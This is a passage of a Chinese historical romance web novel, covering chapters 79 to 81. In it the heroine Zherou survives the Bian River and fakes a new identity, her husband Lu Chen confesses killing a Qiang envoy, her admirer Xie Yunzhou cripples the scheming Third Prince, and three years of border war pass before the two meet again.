折柔的意识在混沌中沉浮,不知身处何地,亦不知到了何时,许久之后,终于被肩头阵阵揪痛的伤口唤醒。 落水时的记忆慢慢浮现上来。 那夜在汴河之上,她被羌人拖下了水,挣扎间撞上一块浮冰,肩头立时被割破了一道口子,浸在河水里又冷又痛,当即便昏了过去。 ……她是被人救起了么?这又是在哪儿? 夜色沉沉,屋子里没有点灯烛,只有些许微弱的月光从支摘窗的缝隙漏进来,在潮湿的地面上投下斑驳的碎影,入目一片昏暗朦胧,虚实难辨。 折柔看不清屋内的情形,只瞧出这是一处陌生的环境。 她下意识便想要起身,却不慎牵动了肩头的伤口,疼得倒嘶一口凉气,本能地抬起手按了一下,发觉已经有人用布料帮她包扎处置过了。 屋外的老妇听见动静,手中针线一滞,匆匆撂下活计掀帘进屋,一眼瞧见她已醒转过来,忙一迭声地回头唤人。 “哎呦,神天菩萨!醒了醒了!可算是醒了,老头子快来!” 折柔脑中仍混沌着,茫然地转头看过去,就见一个弯腰老丈从门外走进来,取出火折子轻轻一划,“嚓”地一声,点亮了桌上的一盏油灯。 昏黄的光线霎时漫溢出来,映亮了大半个屋子。 折柔这才看得清楚,此处是一间破旧的小屋。她躺在用旧木板搭成的矮床上,身上盖着的被褥里填满了旧麻絮,隐隐带着一股潮湿的鱼腥味。 屋内逼仄简陋,只有一张木桌配着一个矮凳,侧旁的土墙上挂着一张渔网,两顶苇编斗笠,此外再无多余的摆设。 “婆……咳,婆婆,我这是在哪儿?” 她一开口,嗓子仿佛被粗粝的沙石磨过,低哑粗涩,火燎一般干疼。那老妇连忙起身给她倒了一碗水。 “来,先喝点水,润一润嗓子。” 折柔虚弱地抿唇笑笑,用左手接过粗瓷碗,一小口一小口地啜饮起茶水,听着老妇慢慢讲起那夜救人的经过。 汴河是漕运命脉,平素不允平民私设渔网、暗中偷渔,唯有每年河水初化时,官府管得松懈,只要不去运河主干,官差便也睁只眼闭只眼。 一些穷苦人家生计艰难,便趁着这个时机,在夜间冒禁采捕,躲着官差的耳目,捞些鱼虾,好歹也是门营生。 那夜老两口如常撑着小船,趁着月色在汴河偷偷下网。可渔网刚沉入水中,便忽地一沉,鱼虾不曾打到,竟是勾卷到了一个女子。 公婆俩当真是吓得魂飞天外,赶忙费劲力气将人拖上船板,探得她鼻息尚存,这才稍稍定神,却又见她肩头被划破了一道口子,流了不少的血,眼瞧着是命在旦夕了。 远处隐约还有官差吆喝,他们夫妇本就是偷偷打渔,哪里敢惊动官差,更不用说船上还有个半死的年轻娘子,公婆俩半点都不敢多留,匆匆撑船划入了芦苇荡。 老丈平素识得一些草药,采回来叫妻子帮她上药包扎,清理伤口,又仔细照料了大半个月,这才将将保住她一条命。 折柔听得了原委,心中极为感激,低声道:“多谢婆婆救命之恩。” 老妇咧嘴一笑,摆了摆手。 老丈佝偻着背,在门边的矮凳上缓缓坐下,粗糙的手指摩挲着膝盖,迟疑片刻,方才开口道:“瞧娘子这通身的气派……怕是哪户富贵人家的夫人吧?前些日子汴河上闹得厉害,可是在寻娘子?是的话,老汉明日就进城去,替夫人捎个信儿。” 老妇闻言也点头应和道:“可不是!那些官差来来往往的,眼瞧着那阵仗,活像是要将整条河都翻过来呦……”说着,她摇头啧了两声,“不得了,不得了。这若真是娘子家人在寻,怕是要急坏了。” 折柔不由一怔。 汴河上的动静,想来必定是陆谌在寻她。 但既然天意如此,不曾教他寻见她,倒不如……就此一走了之。 恍惚间,那双熟悉至极的黑眸倏然从脑海里浮现上来。 折柔紧紧攥住被角。 她比谁都清楚,他定会为此痛苦难过,可时日久了,总能放下罢?一年不够便两年,两年不够便三年……长痛不如短痛,总好过互相折磨。 这念头一起,便如野草疯长,再也难以压抑。 折柔定下心来,低声否认道:“那些官差并非为我而来……实不相瞒,我前些日子新寡,被夫家逐出来,如今在上京已无亲眷。” 老妇闻言倒吸一口凉气,顿时大感同情怜惜,这下便全说得通了,原是受了欺侮,这才想不开深夜投河。 “那娘子……将来如何打算?” 折柔抿了抿唇,到底还是存了防备的心思,没有同她说实话,只在唇边浮起一抹浅淡的笑意:“多谢婆婆挂念。在北地与江南,我倒还有些族亲,皆可投奔。” 听闻她尚有亲人在世,老妇不由欣慰,“这就好……这就好。” 一直沉默的老丈却突然出声,“依老汉看呐,这北边不成,娘子还是往南走罢。” 折柔一愣,轻声问道:“老丈此言怎讲?” 老丈道:“上个月,西羌人来咱们大周,说什么劳什子的要和亲,娘子可晓得?” 折柔心脏倏地跳了下,犹疑片刻,她谨慎地应了一声是,抿唇笑笑:“这等大事,我自然也略有耳闻。” 老丈点点头,继续道:“昨日老汉进城中卖鱼,听说北边出了天大的乱子……那些羌人刚出咱们大周边境,就叫人给……” 顿了顿,他抬手做了个抹脖子的动作,粗粝的喉间发出“咔”一声。 折柔脸色骤然一变,指尖不自觉地攥紧了被角,半晌,强自镇定地轻声道:“竟有……这等事?” “也是听旁人讲的闲话,”老丈摇了摇头,望向西北的方向,叹息道:“可说不准哪,这北边又要起战事了……” 折柔心头猛地一沉,仿佛被无形的手狠狠攥住,胸腔里的心跳越来越急,咚咚地撞击着耳膜。 官家“啪”地一声将条陈狠狠砸在御案上,额角青筋突突急跳,暴喝道:“叫陆谌给朕滚进来!” 怀忠吓得一个哆嗦,忙应了声,转身出去传召。 不多时,陆谌应宣入内,上前行礼,跪下。 一众侍立的宫人皆屏息退了出去,朱红的殿门沉沉合上,深旷的大殿里只剩君臣二人。 官家倾身向前,死死地盯着地上那道跪立的身影,几乎是一字一顿地开口:“你这条陈上所言,可属实?” 陆谌平静道:“回官家,臣所奏,无一字虚言。” 闻言,官家再也压抑不住怒火,猛地抄起条陈向他砸去,暴喝道:“那你可知,这是何等大罪?!” 纸张锋利的边角擦过额头,当即划出一线血痕,赤红的血珠缓缓渗出来,蜿蜒而下。 陆谌任由着血淌下来,眼睫低垂,神色沉静无波,“臣知罪。” “你知?”官家怒极反笑,气得浑身都哆嗦起来,颤手指向他的面门,“你若当真知罪,哪来的胆子同朕坦白自陈?你以为如此,朕便能轻饶了你,不治你的罪么?!” 他原本最担心鸣岐那个冲动刚烈的性子,一怒之下能干出杀人泄愤的蠢事,特意下令将其禁足看紧,又趁着他们还在汴河上捞人,早早就打发了那群羌人离京。 可谁成想,看住了一个,另一个倒是发了疯,不仅胆大包天去截杀使团,如今竟还敢堂而皇之入宫自首! 官家只觉太阳穴突突直跳,心头的怒火直冲顶门,眼前隐隐一阵晕眩,不断浮现起那封急报上触目惊心的字句。 李保吉将一出大周边境,夜里便遇伏毙命,尸身手足筋脉俱断,头颅不知所踪,身下更是血肉模糊难以直视,行凶之人手段酷烈残忍至极,足见其怨愤恨意之深。 官家越想越怒,低头寻了片刻,又颤着手抄起砚台砸下去,怒骂道:“简直是疯了!这岂是你一家私怨!李保吉倒是死得轻巧,你又可曾想过边境动荡、社稷安稳?这般天大的干系,谁来担当,啊?朕便是生剐了你,也不足以平息半分!!” 额头的血珠顺着眉骨滴下来,在眼前洇开一片猩红,陆谌垂着眼,缓缓开口。 “臣一路追到西羌境内方才动手,明面上与大周分毫无干。李保吉一直同其二叔明争暗斗,他这一死,必将引得西羌各方猜忌内斗。西羌王年老病重,大抵无力弹压,西羌必要生乱。 胡契毗邻西羌,素来以游牧为生,去岁雪重,今春牛羊只怕无草可食,但大周北境屯粮甚多,必要时可以粮为饵,驱虎吞狼。 羌人扰我边关,辱我百姓,议和本就是无奈之举,若我朝能趁机荡平王庭,一战,可定北境二十年安稳。” 官家眸光微动。 “倘若其间生出意外,引得西羌发难,官家可将臣交予西羌,是杀是剐,任其处置,此亦为平息之法。” 停顿一霎,他平静地抬起头,斩钉截铁地给自己下了定论,“臣死,则北疆定。” 听他把话说完,官家一直紧绷的肩背不由松懈了几分,慢慢向后靠坐回去,从鼻间哼出一声冷笑:“谋划得倒算周全……” 官家向下斜睨一眼,指尖在圈椅的扶手上摩挲片刻,开口问道:“既如此,那为何不等西羌局势明朗再作打算,这般急着自陈罪行,是等着朕剐了你么?” 陆谌俯身叩首,喉结滚了滚,沉声道:“臣只为讨个公道。” “公道?”官家顿时被气笑了,“人都已经叫你杀了,你还要什么公道?” “据臣所查,李保吉此举尽为三皇子唆使,羌獠的贱命臣可以自取,但三殿下之罪,还需官家圣裁。” 官家骤然扣紧扶手,半晌,眯了眯眼,倾身朝前,“你说什么?” 陆谌抬起头,迎着那道深沉审视的目光,缓缓挺直背脊,一字一句,冷寒如铁:“三皇子对鸣岐心怀不忿,为此不顾社稷安危,不惜天家颜面,挑唆外贼,以臣发妻做局,只为引得鸣岐和羌獠争斗相残。臣妻何辜,这个公道,臣不可不讨。” 闻言,官家身形彻底僵住,袖笼里的指尖攥得隐隐发白。 他不是没想过老三会在那女子身上做些文章,给鸣岐使些绊子,他自然也乐得瞧一瞧,看这兄弟俩斗出个什么结果。 可他却不曾料到,那逆子竟能不分轻重到如此地步。 “臣既犯下此罪,唯死而已。然,臣发妻无辜遭此劫难,冤屈不可不平。拿臣一命,换她一个公道。”停顿片刻,陆谌再度伏跪下去,重重叩首,“万望官家……明鉴。” 话音落下,大殿内陷入一片死寂,唯有官家沉缓的呼吸声清晰可闻。 静默了好半晌,官家忽地冷哼一声,出言讥讽道:“你既有这等包天的胆子,又何须朕来裁夺?陆指挥一身的好本事,何不趁夜潜进老三府里,一刀杀了便是!” 陆谌只道:“臣不敢。” “是不敢,不是不想。”官家冷笑出声,微微眯起眼睛,嗤道:“若不是忌惮自己还有个亲娘在世,朕要收的,恐怕就不止是李保吉的死讯,还有老三的罢。” 陆谌垂眸不言。 官家眸光幽深地审视他半晌,终于点了头,“此事,朕还需细查,倘若老三当真有罪,朕自不会姑息。”说着,抬头朝殿外唤了一声,“来人。” 甲胄摩擦,呛啷作响,当值的禁军应声入内。 官家垂眼看向殿中跪着的人,凝视片刻,沉声下令:“陆谌御前失仪,狂言犯上,暂将其收入皇城司,待罪。” 如此求仁得仁,陆谌神色平静,向上叩首一礼,起身随禁军退了出去。 殿中复又沉寂下来。 看着天色不早,暮色渐沉,官家静默良久,转头唤来怀忠,“鸣岐呢?今日病得可好些了?去,叫他过来,陪朕一道用膳。” 怀忠神色微微一紧,犹豫片刻,低声回道:“奴婢瞧着应是见好了……方才,方才小王爷来过……在殿门外候了一阵,眼下,眼下倒是不知又去了何处……” “混账!”官家脸色骤然一变,拍案怒斥:“谁准他来的,为何不拦着?!” 怀忠心头直叫苦,明明是官家疼惜小王爷染病,松了口,允准那祖宗随意走动,他哪有胆子敢拦? 可这话无论如何也不能说出口,只能赶紧跪下去,叩首认罪,“奴婢该死!求官家息怒……” 官家顾不上理会他,扬声唤人,“去将谢云舟给朕带过来!” 不多时,禁军匆匆来报:“禀官家,半盏茶前,小王爷称要回国公府,已从东华门出宫了!” 官家眼前蓦地一黑。 那小畜生自幼习武,耳力过人,方才殿内对答,只怕是一字不落全听了去,此刻突然借口出宫,他要去做什么,简直昭然若揭! “陈隋!陈隋何在?!”官家暴怒拍案,嘶声厉喝:“即刻带人去老三府上,给朕拦住那个混账!快去!” 第80章 报仇 暮色未沉,州西瓦子里早已张灯结彩,满街灯火辉煌,人声渐次鼎沸起来,各家酒楼的欢门下,锦衣官妓三五成群地招揽着客人,莺声燕语,丝竹缭绕,不绝于耳。 李桢斜倚在临街酒楼的雅间里,闲闲摩挲把玩着手中的白玉酒盏,亲信幕僚趺坐陪侍在下首。 不多时,听得珠帘轻响,护卫将一名身着靛蓝直裰的中年男子引了进来,行礼道:“公子,人已带到。” 李桢闻声抬头,隔着屏风上朦胧的纹路扫去一眼,“你便是张凿?” 那青衫男子叉手一礼,恭谨应道:“正是在下。” 李桢打量了他一眼,轻笑出声:“听闻张先生近来在瓦舍里风头极盛,一柄折扇下听客如云,捧者无数,寻常的酒楼勾栏甚至请不动你开坛献艺……我说的,可对?” 张凿将身子又压低了几分,谨慎道:“贵人谬赞,在下不过是个说书糊口的粗人,实在担不起这般赞誉。” 他今日刚散了场,连口茶水都不及喝,便被那豪奴“请”到此处,只道是有贵人相召。 此刻隔着屏风,他连对方是圆是扁都瞧不真切,更不知这贵人寻他来所为何事,只怕自己担待不起,心中难免忐忑。 李桢转过头,下巴微抬,朝幕僚递了个眼神。 幕僚会意起身,绕过那架素纱屏风,从袖中取出一个荷包,抽开系带,在李凿面前的小几上一倒,哗啦几声,五六枚官铸银铤滚落案头,映着烛火,银光晃眼。 张凿微微一惊,不想这贵人出手竟如此阔绰,喉结不自觉地滚动了一下,强自镇定地开口,“敢问贵人这是……” 李桢笑问道:“前些日子,西羌人来我大周求亲之事,你可知晓?” 张凿闻言一愣,西羌人求亲一事在上京早已传遍,更不必说他整日游走于勾栏茶肆,那正是市井间消息最流通之处,各种闲言碎语自然一清二楚。 掂量片刻,他点头应是,“在下略有知晓。不知……贵人为何提起这个?” 李桢道:“那西羌人一出周境便身亡惨死,你可知何故?” 隐隐生出不妙的直觉,张凿迟疑着掂量了措辞,低声答道:“……在下不知。” 屏风后传来李桢意味不明的轻笑,“说来倒也不算曲折。小郡王爱慕一位女子多年,哪怕罗敷有夫,仍旧痴心不改,可谁能想到,那位娘子一张芙蓉面,竟也惹了西羌王子的眼。 二人私下几番来往,也不知那女子是失了身,还是丢了心,无颜面对夫家,竟是投了汴河,落得个香消玉殒的下场。小郡王闻讯大恸,不由冲冠一怒为红颜,重金买凶千里劫杀,只为一泄心头之恨。” 张凿浑身僵直,一时间如坠冰窟。 这等权贵间的风月密辛,又哪里是他这等市井小民随意听得的?今日听了这番隐秘,怕是难以全身而退了。 “啪”地一声,李桢将酒盏搁到案几上,继续道:“我要你将这桩风流轶事编作一折好戏,自今夜起,在各处勾栏里播散开来。” 他意味深长地顿了顿,“尤其是那些胡商聚集之地,务必要传得人尽皆知。” 张凿听得此言,顿时惊得背后冷汗涔涔,喉头发紧,半晌,他舔了舔唇,试探道:“贵人……贵人这是何意?” 何意? 李桢唇边牵起阴冷的笑意,低低一哂。 可恨官家竟如斯偏心,将谢云舟看护得那般紧,没让那野种铸下大错,枉费了他好一番心血,让他如何能甘心? 好在李保吉死得倒是及时。 等到此事传扬出去,非要教他谢云舟百口莫辩不可。 届时流言如野火,不怕烧不到谢云舟的头上,引得西羌震怒质问,朝野物议沸腾,他倒要看看官家还能如何偏袒那个野种! 李桢指尖轻叩案几,嗓音转寒,“我有何用意,与你无干,更轮不得你来过问。你只要将此事做好,我自然少不了你的好处。” 张凿早已吓得魂不附体,吞了吞口水,艰难道:“在下才疏学浅,只怕,只怕难当贵人如此重任……” 李桢见他竟不立时应下,反倒是存了推诿之意,心头顿时火起,正要出言发作,却忽听“砰”一声巨响,酒阁的槅扇门板被人从外一脚踹开! 李桢不由一怔。 幕僚站在屏风外,顺着声音看过去,瞧见了来人的模样,一瞬惊呆在原地。 谢云舟站在门外,双目赤红,浑身透着一股狠厉之气,偏偏扬唇笑了起来:“哟,几日不见,三哥倒是好雅兴,给人当起说书先生来了。” 幕僚探头朝他身后瞥了一眼,就见原本守在门外的两名护卫已经歪倒在地上,不知昏晕过去多久了。 眼见谢云舟来者不善,此刻不忠心护主更待何时,幕僚急忙上前,伸手欲要阻拦。 “小王爷这是……” 谢云舟早已怒到极处,心随意动,一把擒住他的手腕,猛地抬脚踹出! 那幕僚连惨叫都来不及发出,整个人便如断线风筝般飞了出去,后背狠狠撞到屏风上,又滑跌下来,齿关磕碰,口鼻冒血。 屏风轰然倒地,露出坐在后面惊愕失色的李桢。 张凿见状吓得惊叫一声,又生生掐灭在喉咙里。此情此景,他如何还敢再留,当即就要缩着脖子往外逃。 “站住。” 谢云舟突然出声。 张凿登时一个激灵,脚下站定,战战兢兢地回过头。 谢云舟冷锐的目光落在他面上,寒声警告:“方才有关那位娘子的混账话,尽是胡言污蔑。管好你的嘴,日后倘若教我听见半个字……小爷便割了你的舌头,剁碎喂狗!听明白了?” 张凿连连点头,有如小鸡啄米,“是是!在下今日一个字都不曾听闻!” 得了这般答复,谢云舟方才收回视线,示意他快滚。 张凿两股战战,胡乱向上叉手行过一礼,狼狈地夺门而出。 那幕僚已然昏死过去,再无半点声息。眼见着谢云舟一步步走近,李桢喉头发紧,心中本能地感到一丝惧怕。 这野种素来桀骜恣意,仗着有官家和长公主夫妇偏袒庇护,天底下就没有他不敢干的事,今日来势汹汹,自己压根不是他的对手,难保不吃苦头。 还未及李桢开口,谢云舟已经一步踏前,一把揪起他的衣领,重重一拳朝他头上砸去! 李桢被打得脑袋偏向一边,口鼻里冒出血来,呛得他一阵急咳。 谢云舟把他半身抓起来,直直逼视下去,恨声确认:“是你挑唆的李保吉。” 李桢忍着痛,缓缓睁开眼睛,望见他猩红的双眸,心里忽觉说不出的痛快,不由恶毒又得意地笑了笑,“怎么,红颜薄命,你心疼了?” 虽然早已猜得七八分,可此刻当真亲耳听他挑衅,谢云舟只觉心脏剧痛,眼里几欲喷出血来,恨不能将这畜生寸寸凌迟。 九娘。 九娘。 谢云舟眼眶一瞬酸热,长臂一探,抄起案上的酒壶就冲着李桢的额角砸了下去,“有怨有恨冲着我来,为何要害她!你想要那个位子,也要看有没有命去坐!小爷今日就要了你的狗命!” 李桢虽知他行事恣意,但仗着此处人多眼杂,料想他也不敢下死手,谁料他竟当真不管不顾地发了疯,猝不及防挨了这一下,额角瞬间血流如注。 正欲竭力挣扎,门外忽然传来一阵急促的脚步声。 “住手!都住手!” 此间的打斗早已惊动酒楼管事,知晓这两位都是贵人中的贵人,小小酒楼开罪不起,管事连忙打发人去报了巡检司,此刻一列巡检兵卒赶到,见状急急扑上前拉扯阻拦。 谢云舟被几人拦腰抱住往后拖。 眼见有人相助,李桢偏过头,狠狠吐出一口带血的唾沫,嘶声怒道:“有本事就杀了本王!当着巡检司的面!众目睽睽,谋害皇子,这是何等罪名?等到言官弹劾,官家也护不住你!你敢么?我赌你……” 他话还未说完,声音已经被一道惨嚎取代。 那叫声极为凄厉,几乎是撕心裂肺,痛不欲生。 谢云舟奋力挣脱几个人的桎梏,没有分毫犹豫,抬脚狠狠踹上了李桢的右膝,只听“咔嚓——”一声脆响,膝骨关节登时折断,又在他狠力的碾压下,寸寸碎裂。 李桢只觉右腿猛然一阵剧痛,双眼翻白,几要晕死过去。 谢云舟心头恨极,越发加重了力道,冷笑道:“你当我不敢?小爷便是废了你又如何!” 李桢仰头惨叫一声,整个人痛苦地蜷缩成一团,在地上不住地挣扎扭动。腿上的剧痛逐渐四散蔓延,心头的绝望也如潮水般攀涌上来,浑身的血液仿佛都冷凝成冰。 自古残疾不为帝,他这条腿若是废了,便再无继位的可能! 待陈隋领着一队禁军冲到酒楼时,一切已然不及阻止。 李桢瘫倒在血泊里,半张脸血肉模糊,鲜血不断从口鼻中冒出来,又一道道地在脸上蔓延淌开,右腿扭曲成一个极诡异的角度,眼看着就要疼得昏死过去。 陈隋见状大骇,眼看谢云舟竟还没有收手的意思,他顾不得深思,当即猛扑上前,双臂如铁箍般从后死死勒住谢云舟的胸口,扭头厉声唤人:“都愣着作甚?还不快抬三殿下去医官局!快!” 禁军们这才如梦初醒,一窝蜂地围拢上前,几人帮忙制住谢云舟,其余众人则七手八脚地将李桢抬了出去,皂靴踏过满地碎瓷,踩出一片凌乱刺目的血痕。 临出门,陈隋脚下蓦地站定,缓缓看向巡检司和酒楼管事,一字一句,寒声警告:“今日之事,谁敢外传,杀无赦。” 众人连连应是。 听得这般答复,陈隋抬脚跨出门槛,心头却沉得像压了块砖。 他心中再清楚不过,今日这桩差事算是彻底办砸了。 就算他能封住巡检司的口,又如何能封住三皇子的口?变故起得仓促,也来不及封医官的口。更何况州西瓦子里本就鱼龙混杂,今晚这出乱子,只怕是要难以收场。 果不其然,不过一夜之间,三皇子在州西瓦子里被小郡王谢云舟重伤致残的消息几乎传遍上京,谏院和御史台闻讯震动。 翰林医官院里灯火通明,十余名医官彻夜全力施治,奈何李桢伤势太重,右腿膝骨尽碎,尽管性命无虞,日后却再也不能如常行走,当真成了个废人。 朝野上下一时哗然。 翌日朝会,谏院和御史台的弹劾折子堆满御案,无不是怒斥谢云舟桀骜犯上、悖逆纲常,理当力惩以正纲纪,依照大周律例,削爵、杖八十,流三千里。 官家虽有意弹压,可朝堂之上,群情激愤,谢云舟却咬死不提李桢挑唆羌人劫掳折柔的事,只说是和李桢积怨已久,酒后生出些口角,不慎失了分寸。 争执到最后,官家纵使满心偏袒回护,却也寻不出足以服众的说辞,被气得浑身发抖,颤手指向谢云舟的面门,怒极反笑:“好儿郎,好担当!依朕看,你们一个二个,全都是疯了!” 谢云舟闻言,腰背愈发挺直,面上神色冷淡,分毫不惧。 眼见事态难平,官家只得下令将谢云舟禁足一月,暂且收押皇城司,案情交由皇城司连同宗正寺、大理寺详查,待查证分明后再做处置。 谢云舟不以为意地叩首行礼,站起身,由皇城司的亲事官押出去,引入内狱。 陆谌就在里间,听见脚步声响,缓缓地抬起头,待看清来人竟是谢云舟,不由拧眉,“出了何……”话未说完,他已然猜到关窍,声音顿时冷了下来:“你动了李桢?” 谢云舟走进监室,倚靠着墙边坐下,听他提起李桢,眼中不由带上几分冷意,漫不经心地从鼻腔里“嗯”了一声。 陆谌眸色微沉,“此事自有我来筹谋,你为何要冲动行事?” “怎么,”谢云舟一听他这话就来气,忍不住扬唇讥讽,“难不成,这世上就许你陆秉言一个人豁出去为她报仇?” 陆谌蓦地一顿。 话说出口,谢云舟也觉心头堵得难受,咬着牙别过脸,喉结狠狠滚动了一下。 牢房里陷入一片沉寂,只听见两人交错的呼吸和墙上火把偶尔爆出的“哔啵”声响。 “鸣岐。” 不知沉默了多久,陆谌忽然开口唤了一声。 僵顿片刻,谢云舟转头看过去。 “我若身死,陆家再无后人。我虽已吩咐南衡守坟三载,但她的四时祭享,仍要劳你费心。所以,你需得保重自身。” 他声音低哑,带着极重的倦意,却一字一句,沉如千钧。 谢云舟倏地一愣。 默然良久,他微微仰起脸,扯唇轻哂,“我说陆秉言,你做什么美梦呢,当年让你先遇见她就算了,到下面还想抢在我前头?有本事,咱们哥俩下去再接着争。” 陆谌低垂着眼,神色淡淡,晦暗中瞧不真切。 见他一直不说话,谢云舟仰头向后靠在石壁上,半张俊脸匿进清冷的月色里,“小爷我呢,也并非没有容人之量。看在你我兄弟一场的份上,只要九娘答允,我做大你做小,也不是不行。” 依旧无人应声。 石壁上渗出的水珠缓缓积聚,“嗒”地一声坠落下来,在寂静的牢室内尤为清晰。 谢云舟等了半晌不见回应,喉头滚了滚,正想再说点什么,忽见陆谌薄唇微动,冷冷地吐出两个字来。 “做梦。” 闻言,谢云舟在黑暗中,微微扬起脸,无声地勾唇笑了笑。《 》 80-90 第81章 相遇 谢云舟一案到底该当如何处置,朝堂上人心各异,各方争论不休,始终没有定论。官家有意弹压拖延,一直等到四月,终于等来一个变数。 西羌乱了。 李保吉遇刺惨死的消息传回王庭,老西羌王惊怒交加,当夜中风薨逝,李保吉的二叔趁机发难,血洗王庭。 但李保吉尚有一同胞幼弟,其母族及时搬来救兵,两派势力就此陷入内斗。 密报传回上京,官家果断下旨,责令谢云舟速返泾原路驻军,整饬兵备,戴罪立功,无召不得回京,又以静心养伤为名,实则将李桢软禁于宗正寺。 这般处置虽然仍有朝臣不满,但西羌战事近在眼前,一切需以战局为重,众人倒也再顾不得深究其间小节。 官家看出陆谌心存死志,可边关战事在即,将才难得,是以特意将他从狱中传至御前,耐心安抚:“待事态平息以后,我会寻个由头处置了老三,削其爵位,终身圈禁宗正寺。 但有一条,我要你戴罪立功,收复旧地,如此功成之日,朕保你妻一品诰命,身后哀荣。” 陆谌闻言怔然。 数日后,经由枢密院与中书门下合议,官家御笔亲批,以胥国公为帅,谢云舟和陆谌为副将钤辖,入内押班孙宪为经略安抚使,即日发兵十万,陈军于洮州以北。 西羌内乱,早已首尾不能相顾,大周趁此难得战机,长驱直入,一举收复原本被羌人窃据数十年的熙、河两州。 战事一起非同小可,大周虽承平日久,府库充盈,可西羌各部分裂,周遭势力混杂交错,这一仗前后打了两年有余,于大周的损耗亦是不小。 朝中原本有意就此停战招抚,却不想西羌残部暗中勾结党项,以请降议和为饵,于宴上设伏,诱杀了奉命前往和谈的秦凤路安抚使,再度挑起边关战衅。 消息传回上京,举朝震怒。 官家下旨,着令大军不惜余力收复叠、湟二州,务求从此切断西羌和党项的交通咽喉,彻底翦除北境边患,一雪数世之耻。 战事胶着,转眼已是第三年深秋。胥国公将大军分作两路,陆谌奉命镇守河州,布防设栅,谢云舟则率军前往渭州,回防党项。 入夜,秋风萧瑟,更深露重。 远处的旷野上漆黑如墨,营栅中一座座军帐整肃无声,火把在夜风中嘶嘶作响,偶尔传来巡逻兵卒铠甲相碰的清脆声响,齐整的脚步声由远及近,又渐渐消失。 中军营帐里灯火通明,陆谌坐在案后,凝眸看着横山一带的地势舆图。 “郎君。”帐门毡帘轻动,南衡捧着一碗汤药走了进来,“药煎好了。” 陆谌垂着眼,仍旧端凝着舆图,只微抬了抬指,示意他将药碗放下。 南衡会意,走过去将药碗搁在案角,临走,又犹豫片刻,忍不住低声道:“郎君,这药用了快三年,继续下去不是办法……” 陆谌神色如常,分毫未动。 南衡又看了他一眼,到底只能垂下头,叉手行过一礼,转身退出帐外。 帐门被掀起一角,夜风卷着秋夜的凉意灌进来,吹得案头烛火猛地一晃,摇曳着投下一团朦胧的暗影。 良久,陆谌终于从舆图中缓缓抬首。 三年了啊。 妱妱。 自洮州少时相遇,他们相识相伴四载有余,可从她离开至今,不觉间已有三年。 若再算上最后那一年的离心怨怼,竟是要比当初恩爱缠眷的日子还要久长了。 从前那些剜心蚀骨的痛悔折磨,到如今非但没有消退,反倒是化作年深日久的钝痛,麻木、迟缓却又绵长不绝。 他整夜整夜地难以合眼,哪怕行军劳顿,浑身筋骨都已乏倦到了极处,可等躺到榻上,却依旧辗转清醒直到天亮,最后只有用些狠药才能勉强入眠。 沉默许久,陆谌伸臂取过药碗,仰头饮尽,终于沉沉睡去。 九月深秋,夜里下过一场寒雨,清晨的空气中透着沁人的凉意。 折柔昨日上山采药,忙累半晌,今早起身便有些晚了,这厢将将梳洗停当,就听见隔壁的周大娘子过来敲门。 “九娘子,我来给你送些桂花糕。刚蒸出锅来的,要趁热吃才好。” 折柔不由笑起来,拉开屋门请她入内,“多谢了,周娘子。” 当初在渔家养好伤后,她先是南下到平江府住了一段时日,后来听闻西羌战事顺利,大军一路西进,她这才随了商队北上,来到此处定居。 彼时她租下这处小院没几日,正巧赶上隔壁周大娘子临盆难产,事出紧急,是她帮忙接的生,总算保得母女平安。 周家夫妇感激得不知要如何是好,索性让新生的闺女认她做干娘,由她给起了个乳名,这两年邻里往来亲近,互相照应,关系甚是和洽。 周大娘子一摆手,将手里的瓷碟递过去,笑嗔道:“同我还见什么外。” 折柔弯唇笑笑,接过桂花糕尝了一口。 周大娘子看着她,又问道:“你今日可要出门?若是方便,能不能帮我看顾一会儿茸茸?我家那人在军营里脱不开身,眼瞧着这天儿,是一日比一日地冷了,我做了些厚实的里衣鞋袜,寻思着赶紧给他送过去。” 陇顺县离西羌甚远,与党项相近,原本是极安稳的去处,可如今党项异动频频,陇顺这座小城一夜之间竟成了边防要冲。 前些时日似乎又有大军调来驻防,在城外整军备战,日夜操练不休。 周大娘子的夫君正是在此地厢军中任职,已有将近一月不曾归家了。 不过一桩小事,折柔笑了笑正要应下,院外却忽然响起一阵急促的脚步声,伴着惶急的呼唤:“周娘子!不好了周娘子!” “你家官人出事了!” 折柔和周大娘子闻声一惊,匆忙放下桂花糕,推门出去,就见一个厢军打扮的青年正扶着院墙,满头热汗地喘着粗气。 周大娘子认出这是丈夫同伍的陈发,双腿顿时一软,折柔及时伸出手,扶住她站不稳的身子。 “他,他出什么事了?”周大娘子声音发颤。 陈发胡乱地抹了把脸上的汗,狠狠咽下一口唾沫,急道:“前日军中操练,他让一只飞脱了手的枪头给戳伤了胳膊,可那枪头上好像不大干净,你家官人到今早还高烧不醒,军医说,说……怕是要不好了!” 周大娘子眼前一黑,当即踉跄着就要往外冲,脚下却又突然一顿,像是忽地想起些什么。 她猛地转过身来,一把攥住折柔的手腕,颤声道:“九娘子,你,你精通医术对不对?能不能帮——” 折柔当然明白她的意思,人命关天,不待她说完便应了下来,轻轻回握住她发抖的手,温声安抚:“莫怕,我这就陪你过去看看。” 周大娘闻言连连道谢,将茸茸托付给邻家,等着折柔回屋取来药箱,两人到街头赁了一架牛车,急匆匆地一道去往城郊军营。 陇顺县是一座小城,牛车自北门出去,行了不过小半个时辰,便已在厢军驻扎大营的辕门外停住。 折柔先下了车,站稳后又回身去扶周大娘子。 辕门外值守的校尉早前已得了通报,此刻见陈发领着两位女眷过来,并未多作盘问,只是简单核验后便挥手放行。 折柔将药箱的背带往肩上紧了紧,一手搀住周大娘子,跟在陈发身后,疾步往伤兵的营帐而去。 北地秋日气候多变,转眼间浓云四合,急雨瓢泼,校场上呼喝操练之声却丝毫不减,在雨幕中此起彼伏。 谢云舟方才亲自下了场,在校场上和人比试过一轮,此刻刀身已沾满了雨水,他随手接过亲兵递来的葛布,低头慢慢擦拭。 刀面寒光凛冽,映出一双微沉的眉眼,“我听说,前日厢军里有个在操练中不慎重伤的,眼下如何了?” 周霄摇了摇头,语气有些凝重,“军医说是不大好。” 谢云舟擦刀的动作顿了顿,轻啧一声:“去城里请个良医,过来给他仔细瞧瞧。就算最后救不回来,也要重金抚恤。人命关天不说,眼看着战事在即,无论如何不能扰了军心。” 周霄忙应了声是,“公子放心,末将知晓轻重,教人仔细盯着呢。” 谢云舟低低“嗯”了一声,抬头朝伤兵营的方向扫去一眼,又不经意地调开视线。 然而下一瞬,他身形骤然绷紧,猛地再次转回头。 握刀的手突然不受控制地一颤,锋利的刀刃顿时在掌心划开一道血痕,殷红的鲜血顷刻涌出,汩汩而流。 